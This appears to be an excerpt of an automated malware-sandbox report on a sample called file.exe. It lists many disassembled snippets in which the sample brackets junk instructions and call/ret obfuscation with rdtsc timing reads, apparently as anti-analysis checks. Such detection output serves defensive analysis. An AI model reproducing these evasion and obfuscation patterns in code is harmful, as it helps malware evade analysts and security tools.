Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F356B second address: 10F357E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop ebx 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jl 00007F0DECD24166h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F362C second address: 10F3631 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F3808 second address: 10F3824 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pushad 0x00000006 jmp 00007F0DECD24173h 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F3824 second address: 10F385A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 popad 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push 00000000h 0x0000000d push esi 0x0000000e call 00007F0DED622D78h 0x00000013 pop esi 0x00000014 mov dword ptr [esp+04h], esi 0x00000018 add dword ptr [esp+04h], 00000016h 0x00000020 inc esi 0x00000021 push esi 0x00000022 ret 0x00000023 pop esi 0x00000024 ret 0x00000025 mov ch, 3Dh 0x00000027 push 2A826010h 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 push edx 0x00000031 pop edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F385A second address: 10F3864 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F0DECD24166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F3864 second address: 10F3906 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [esp], 2A826090h 0x0000000f mov ecx, dword ptr [ebp+122D35E7h] 0x00000015 push 00000003h 0x00000017 sbb di, 0765h 0x0000001c push 00000000h 0x0000001e jmp 00007F0DED622D7Ah 0x00000023 jmp 00007F0DED622D7Ah 0x00000028 push 00000003h 0x0000002a push 00000000h 0x0000002c push ebp 0x0000002d call 00007F0DED622D78h 0x00000032 pop ebp 0x00000033 mov dword ptr [esp+04h], ebp 0x00000037 add dword ptr [esp+04h], 0000001Ch 0x0000003f inc ebp 0x00000040 push ebp 0x00000041 ret 0x00000042 pop ebp 0x00000043 ret 0x00000044 push edx 0x00000045 mov edx, dword ptr [ebp+122D19CDh] 0x0000004b pop edi 0x0000004c call 00007F0DED622D79h 0x00000051 jmp 00007F0DED622D7Ah 0x00000056 push eax 0x00000057 jmp 00007F0DED622D7Ah 0x0000005c mov eax, dword ptr [esp+04h] 0x00000060 jmp 00007F0DED622D84h 0x00000065 mov eax, dword ptr [eax] 0x00000067 push eax 0x00000068 push edx 0x00000069 push ecx 0x0000006a jc 00007F0DED622D76h 0x00000070 pop ecx 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F3906 second address: 10F390C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F390C second address: 10F3975 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DED622D88h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f jmp 00007F0DED622D7Fh 0x00000014 pop eax 0x00000015 sub dword ptr [ebp+122DB2FEh], ebx 0x0000001b lea ebx, dword ptr [ebp+124593D5h] 0x00000021 push 00000000h 0x00000023 push ebx 0x00000024 call 00007F0DED622D78h 0x00000029 pop ebx 0x0000002a mov dword ptr [esp+04h], ebx 0x0000002e add dword ptr [esp+04h], 00000017h 0x00000036 inc ebx 0x00000037 push ebx 0x00000038 ret 0x00000039 pop ebx 0x0000003a ret 0x0000003b adc edx, 102DE336h 0x00000041 push eax 0x00000042 pushad 0x00000043 push eax 0x00000044 push edx 0x00000045 pushad 0x00000046 popad 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11121CF second address: 11121D8 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11121D8 second address: 11121DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1112653 second address: 111265D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F0DECD24166h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111265D second address: 1112663 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1112663 second address: 1112669 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1112669 second address: 1112673 instructions: 0x00000000 rdtsc 0x00000002 je 00007F0DED622D7Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1112C25 second address: 1112C3D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DECD24174h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1112F4B second address: 1112F60 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DED622D81h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1108746 second address: 110874C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110874C second address: 1108759 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F0DED622D76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1113AA8 second address: 1113AB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1113AB1 second address: 1113AD8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DED622D84h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F0DED622D7Fh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1113AD8 second address: 1113AE2 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F0DECD24166h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1113D79 second address: 1113D90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0DED622D7Fh 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1116F85 second address: 1116F90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F0DECD24166h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1116048 second address: 111604F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111604F second address: 1116054 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111A3A1 second address: 111A3A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111A3A5 second address: 111A3AA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111EE88 second address: 111EE8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111EE8D second address: 111EEAF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0DECD24177h 0x00000008 jg 00007F0DECD24166h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DDDB9 second address: 10DDDBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111E25F second address: 111E294 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F0DECD24166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F0DECD2416Dh 0x0000000f jmp 00007F0DECD24170h 0x00000014 push edi 0x00000015 pushad 0x00000016 popad 0x00000017 pushad 0x00000018 popad 0x00000019 pop edi 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d push ebx 0x0000001e push edx 0x0000001f pop edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111E294 second address: 111E29D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111E29D second address: 111E2A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111E2A1 second address: 111E2BC instructions: 0x00000000 rdtsc 0x00000002 jno 00007F0DED622D76h 0x00000008 jmp 00007F0DED622D81h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111E2BC second address: 111E2C6 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F0DECD24172h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111E2C6 second address: 111E2CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111E2CC second address: 111E2D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jg 00007F0DECD24166h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111E48F second address: 111E493 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111E493 second address: 111E499 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111E72C second address: 111E732 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111E732 second address: 111E749 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jc 00007F0DECD24172h 0x0000000b jmp 00007F0DECD2416Ah 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111E749 second address: 111E74F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111E74F second address: 111E753 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111E9DE second address: 111EA04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push esi 0x00000007 pop esi 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F0DED622D7Eh 0x00000010 jmp 00007F0DED622D7Dh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111EA04 second address: 111EA15 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DECD2416Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111EA15 second address: 111EA1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111EA1F second address: 111EA43 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007F0DECD24176h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jp 00007F0DECD2416Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111EA43 second address: 111EA54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 jnl 00007F0DED622D78h 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11204E1 second address: 11204E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1120611 second address: 1120616 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1120616 second address: 1120642 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DECD24172h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F0DECD24173h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11207CE second address: 11207D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11207D3 second address: 11207FA instructions: 0x00000000 rdtsc 0x00000002 jne 00007F0DECD2417Dh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1121033 second address: 1121045 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DED622D7Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1121045 second address: 1121060 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DECD24170h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pushad 0x0000000e popad 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112131F second address: 112133C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 push eax 0x00000007 jc 00007F0DED622D8Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F0DED622D7Eh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11215BC second address: 11215C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11215C0 second address: 11215C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11215C4 second address: 11215CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11215CA second address: 112160E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push edi 0x00000006 pop edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push esi 0x0000000e call 00007F0DED622D78h 0x00000013 pop esi 0x00000014 mov dword ptr [esp+04h], esi 0x00000018 add dword ptr [esp+04h], 00000016h 0x00000020 inc esi 0x00000021 push esi 0x00000022 ret 0x00000023 pop esi 0x00000024 ret 0x00000025 call 00007F0DED622D7Fh 0x0000002a mov edi, dword ptr [ebp+122D27A7h] 0x00000030 pop edi 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112160E second address: 1121614 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1126EC1 second address: 1126EF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0DED622D7Fh 0x00000009 pop eax 0x0000000a jmp 00007F0DED622D89h 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1126EF1 second address: 1126F27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F0DECD24166h 0x0000000a jmp 00007F0DECD24170h 0x0000000f popad 0x00000010 jnl 00007F0DECD2416Ch 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 push edi 0x0000001a pushad 0x0000001b popad 0x0000001c pop edi 0x0000001d push eax 0x0000001e push edx 0x0000001f ja 00007F0DECD24166h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1126F27 second address: 1126F38 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DED622D7Bh 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E2D1B second address: 10E2D25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E2D25 second address: 10E2D2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112755B second address: 1127565 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F0DECD2416Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1127565 second address: 11275D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 mov dword ptr [ebp+122D1C51h], ecx 0x0000000f push 00000000h 0x00000011 mov dword ptr [ebp+122D2BC9h], eax 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push eax 0x0000001c call 00007F0DED622D78h 0x00000021 pop eax 0x00000022 mov dword ptr [esp+04h], eax 0x00000026 add dword ptr [esp+04h], 0000001Dh 0x0000002e inc eax 0x0000002f push eax 0x00000030 ret 0x00000031 pop eax 0x00000032 ret 0x00000033 mov dword ptr [ebp+122DB34Fh], eax 0x00000039 mov di, bx 0x0000003c push eax 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 jmp 00007F0DED622D89h 0x00000045 jl 00007F0DED622D76h 0x0000004b popad 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11275D0 second address: 11275D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11275D6 second address: 11275DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11275DA second address: 11275DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1128F1D second address: 1128F23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1129530 second address: 11295C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jl 00007F0DECD24166h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], eax 0x00000011 mov edi, dword ptr [ebp+122D1A35h] 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push ecx 0x0000001c call 00007F0DECD24168h 0x00000021 pop ecx 0x00000022 mov dword ptr [esp+04h], ecx 0x00000026 add dword ptr [esp+04h], 0000001Bh 0x0000002e inc ecx 0x0000002f push ecx 0x00000030 ret 0x00000031 pop ecx 0x00000032 ret 0x00000033 xor esi, dword ptr [ebp+122D2B52h] 0x00000039 mov edi, dword ptr [ebp+122D36BFh] 0x0000003f mov edi, dword ptr [ebp+12459AA6h] 0x00000045 push 00000000h 0x00000047 push 00000000h 0x00000049 push ecx 0x0000004a call 00007F0DECD24168h 0x0000004f pop ecx 0x00000050 mov dword ptr [esp+04h], ecx 0x00000054 add dword ptr [esp+04h], 0000001Ch 0x0000005c inc ecx 0x0000005d push ecx 0x0000005e ret 0x0000005f pop ecx 0x00000060 ret 0x00000061 mov edi, ebx 0x00000063 and esi, 24D40553h 0x00000069 push eax 0x0000006a push eax 0x0000006b push edx 0x0000006c je 00007F0DECD24171h 0x00000072 jmp 00007F0DECD2416Bh 0x00000077 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1133957 second address: 113396C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0DED622D7Ch 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113396C second address: 11339DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DECD24173h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push eax 0x0000000e call 00007F0DECD24168h 0x00000013 pop eax 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 add dword ptr [esp+04h], 00000019h 0x00000020 inc eax 0x00000021 push eax 0x00000022 ret 0x00000023 pop eax 0x00000024 ret 0x00000025 xor edi, dword ptr [ebp+124597D3h] 0x0000002b push 00000000h 0x0000002d sub dword ptr [ebp+122D1CCDh], eax 0x00000033 push 00000000h 0x00000035 jmp 00007F0DECD24177h 0x0000003a xchg eax, esi 0x0000003b push eax 0x0000003c push edx 0x0000003d jmp 00007F0DECD2416Ah 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1134933 second address: 11349CE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jo 00007F0DED622D76h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jl 00007F0DED622D84h 0x00000013 nop 0x00000014 push 00000000h 0x00000016 push ecx 0x00000017 call 00007F0DED622D78h 0x0000001c pop ecx 0x0000001d mov dword ptr [esp+04h], ecx 0x00000021 add dword ptr [esp+04h], 0000001Dh 0x00000029 inc ecx 0x0000002a push ecx 0x0000002b ret 0x0000002c pop ecx 0x0000002d ret 0x0000002e jmp 00007F0DED622D7Fh 0x00000033 push 00000000h 0x00000035 sub edi, dword ptr [ebp+122D1C5Bh] 0x0000003b push 00000000h 0x0000003d push 00000000h 0x0000003f push ebx 0x00000040 call 00007F0DED622D78h 0x00000045 pop ebx 0x00000046 mov dword ptr [esp+04h], ebx 0x0000004a add dword ptr [esp+04h], 00000017h 0x00000052 inc ebx 0x00000053 push ebx 0x00000054 ret 0x00000055 pop ebx 0x00000056 ret 0x00000057 xchg eax, esi 0x00000058 pushad 0x00000059 jne 00007F0DED622D86h 0x0000005f push eax 0x00000060 push edx 0x00000061 push eax 0x00000062 pop eax 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113597B second address: 1135989 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DECD2416Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1139ECC second address: 1139ED0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113AD7E second address: 113AD82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1127D64 second address: 1127D6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113AD82 second address: 113AD97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 jnl 00007F0DECD24168h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113BCBD second address: 113BCC3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112B326 second address: 112B32A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
